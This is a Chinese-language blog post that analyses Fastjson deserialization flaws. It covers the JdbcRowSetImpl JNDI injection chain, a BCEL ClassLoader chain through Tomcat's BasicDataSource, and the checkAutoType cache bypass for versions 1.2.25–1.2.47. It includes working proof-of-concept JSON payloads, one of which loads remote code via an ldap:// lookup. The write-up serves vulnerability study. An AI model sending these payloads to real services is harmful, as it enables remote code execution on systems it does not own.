LOADING

加载过慢请开启缓存 浏览器默认开启

Fastjson漏洞分析

2024/8/19 Java

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

环境搭建

Maven引用fastjson1.2.24依赖

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

Fastjson简单使用

使用fastjson解析一个字符串

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class Main {
    public static void main(String[] args) {
        String str = "{\"user\":\"xiaoming\",\"age\":18}";
        JSONObject json = JSON.parseObject(str);
        System.out.println(json);
        System.out.println(json.getString("user"));
    }
}

输出:

{"user":"xiaoming","age":18}
xiaoming

Fastjson+Java Bean

创建一个User类

package org.example;

public class User {
    private String name;
    private int age;

    public User(){
        System.out.println("无参构造User()");
    }

    public User(String name, int age) {
        System.out.println("有参构造User()");
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        System.out.println("toString()");
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        System.out.print("getName()");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName()");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge()");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge()");
        this.age = age;
    }
}

这个demo实例化User,然后将对象转换成一个jaon字符串

package org.example;
import com.alibaba.fastjson.JSON;


public class Main {
    public static void main(String[] args) {
        User user = new User("xiaoming",18);
        String json = JSON.toJSONString(user);
        System.out.println(json);

    }
}

在转换过程中还调用了get方法,但是这里只有转换后的键值对,不知道是从那个类进行的加工。

输出:

有参构造User()
getAge()
getName(){"age":18,"name":"xiaoming"}

发现还有一个方法支持两个参数,第二个参数传递SerializerFeature.WriteClassName

    public static String toJSONString(Object object, SerializerFeature... features) {
        return toJSONString(object, DEFAULT_GENERATE_FEATURE, features);
    }

输出的字符串多了"@type":"org.example.User"

输出:

有参构造User()
getAge()
getName(){"@type":"org.example.User","age":18,"name":"xiaoming"}

fastjson反序列化

在DefaultJSONParser#parseObject会将@type对应的值作为类对象去加载。

image-1720440876382

demo

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class Main {
    public static void main(String[] args) {
        String str = "{\"@type\":\"org.example.User\",\"age\":18,\"name\":\"xiaoming\"}";
        System.out.println(JSON.parseObject(str));
        System.out.println("-------------------------------");
        System.out.println(JSON.parse(str));

    }
}

JSON.parseObject()转换过程会调用set和get方法

JSON.parse()转换过程会调用set方法

输出:

无参构造User()
setAge()
setName()
getAge()
getName(){"name":"xiaoming","age":18}
-------------------------------
无参构造User()
setAge()
setName()
toString()
User{name='xiaoming', age=18}

如果在get或者set有一个危险方法那么就可以达到命令执行的效果。

image-1720440887741

JdbcRowSetImpl反序列化链

定位到com.sun.rowset.JdbcRowSetImpl#connect

发现调用了InitialContext()和lookup(),如果this.getDataSourceName()可控将会是一个JNDI注入。

image-1720440898023

跟一下getDataSourceName(),返回了dataSource

    public String getDataSourceName() {
        return dataSource;
    }

它还有另一个set方法

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

再往上跟一下connect(),有一个set方法需要传递一个boolean类型的参数。

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

现在可以构造POC

package org.example;
import com.alibaba.fastjson.JSON;


public class Main {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#T\", \"autoCommit\":false}";
        JSON.parseObject(s);
    }
}

image-1720440916618

FastjsonBcel反序列化链

定位到com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass

满足条件会调用createClass方法。

        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);

跟一下createClass方法,截取$$BCEL$$后面的内容并进行decode,然后回到ClassLoader使用defineClass动态类加载

  protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

写一个demo尝试进行加载

public class FastjsonBcel {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = classToByteArray("D:\\tmp\\class\\Test.class");
        String code = Utility.encode(bytes, true);
        classLoader.loadClass("$$BCEL$$" + code).newInstance();
    }

    public static byte[] classToByteArray(String className) throws Exception {
        try (FileInputStream fis = new FileInputStream(className);
             ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
            byte[] buffer = new byte[1024];
            int length;
            while ((length = fis.read(buffer)) != -1) {
                baos.write(buffer, 0, length);
            }
            return baos.toByteArray();
        }
    }
}

image-1720440925846

接下来想办法调用loadclass

导入tomcat依赖

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>

定位到org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory

发现调用了Class.forName,如果driverClassName和driverClassLoader可控则会加载传递的恶意类

                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
                        }

两个变量都有对应的set,变量可控

image-1720440936461

image-1720440948731

找一下createConnectionFactory对应的get或者set方法

image-1720440956233

再跟一下createDataSource,找到一个get打头的方法

image-1720440963581

现在需要给Class.forname里面的两个参数赋值,然后调用这个getConnection()方法应该就可以加载传递的恶意类。

public class FastjsonBcel {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = classToByteArray("D:\\tmp\\class\\Test.class");
        String code = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$" + code).newInstance();

         BasicDataSource bas = new BasicDataSource();
         bas.setDriverClassName("$$BCEL$$" + code);
         bas.setDriverClassLoader(classLoader);
         bas.getConnection();
    }

image-1720441083482
构造fastjson解析进行加载

        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code+"\",\"driverClassLoader\":{\"@type\":\"org.apache.bcel.util.ClassLoader\"}}";
        JSON.parseObject(s);

image-1720441061384

fastjson1.2.25<=1.2.47绕过

pom改为1.2.25

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.25</version>
        </dependency>

运行JdbcRowSetImpl反序列化链的POC报错了

image-1720441123017

在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)方法里面,loadClass变成了checkAutoType

image-1720441128769

1.2.24版本为

image-1720441135735

跟进去checkAutoType,里面有很多的if判断,往下跟发现一个*TypeUtils.*getClassFromMapping**

image-1720441142677

跟进去getClassFromMapping,在mappings获取了一个缓存

image-1720441150553

回到checkAutoType,接下来如果缓存为null,又在反序列化器去寻找。

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

发现默认缓存是null,但是如果缓存是一个类,直接会返回,就能加载这个类。

image-1720441176992

查找mappings赋值的地方,发现loadClass有赋值的情况。

image-1720441185615

再看一下哪里调用了loadClass,在MiscCodec#deserialze满足(clazz ==
Class.class)会调用loadClass

image-1720441192737

MiscCodec类实现了两个接口,序列化器和反序列化器

image-1720441199147

反序列化器是在DefaultJSONParser生成的

image-1720441204714

跟进config.getDeserializer往上翻发现put了很多的类,初始化的时候会把这些类和对应的反序列化器都放进去

image-1720441211612

如果反序列化的类是Class.class就会调用MiscCodec反序列化器

deserializers.put(Class.class, MiscCodec.instance);

然后会调用到MiscCodec#deserialze里面的TypeUtils.loadClass

        if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

TypeUtils#loadClass()会把这个类加载,并且放到缓存里面

        try {
            clazz = Class.forName(className);
            mappings.put(className, clazz);

            return clazz;

然后在ParserConfig#checkAutoType查找到了缓存,那么进入if里面返回了clazz,绕过了这个检查。

image-1720441229398

构造poc

    public static void main(String[] args) {
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#T\", \"autoCommit\":false}}";
        JSON.parseObject(s);
    }

image-1720441236540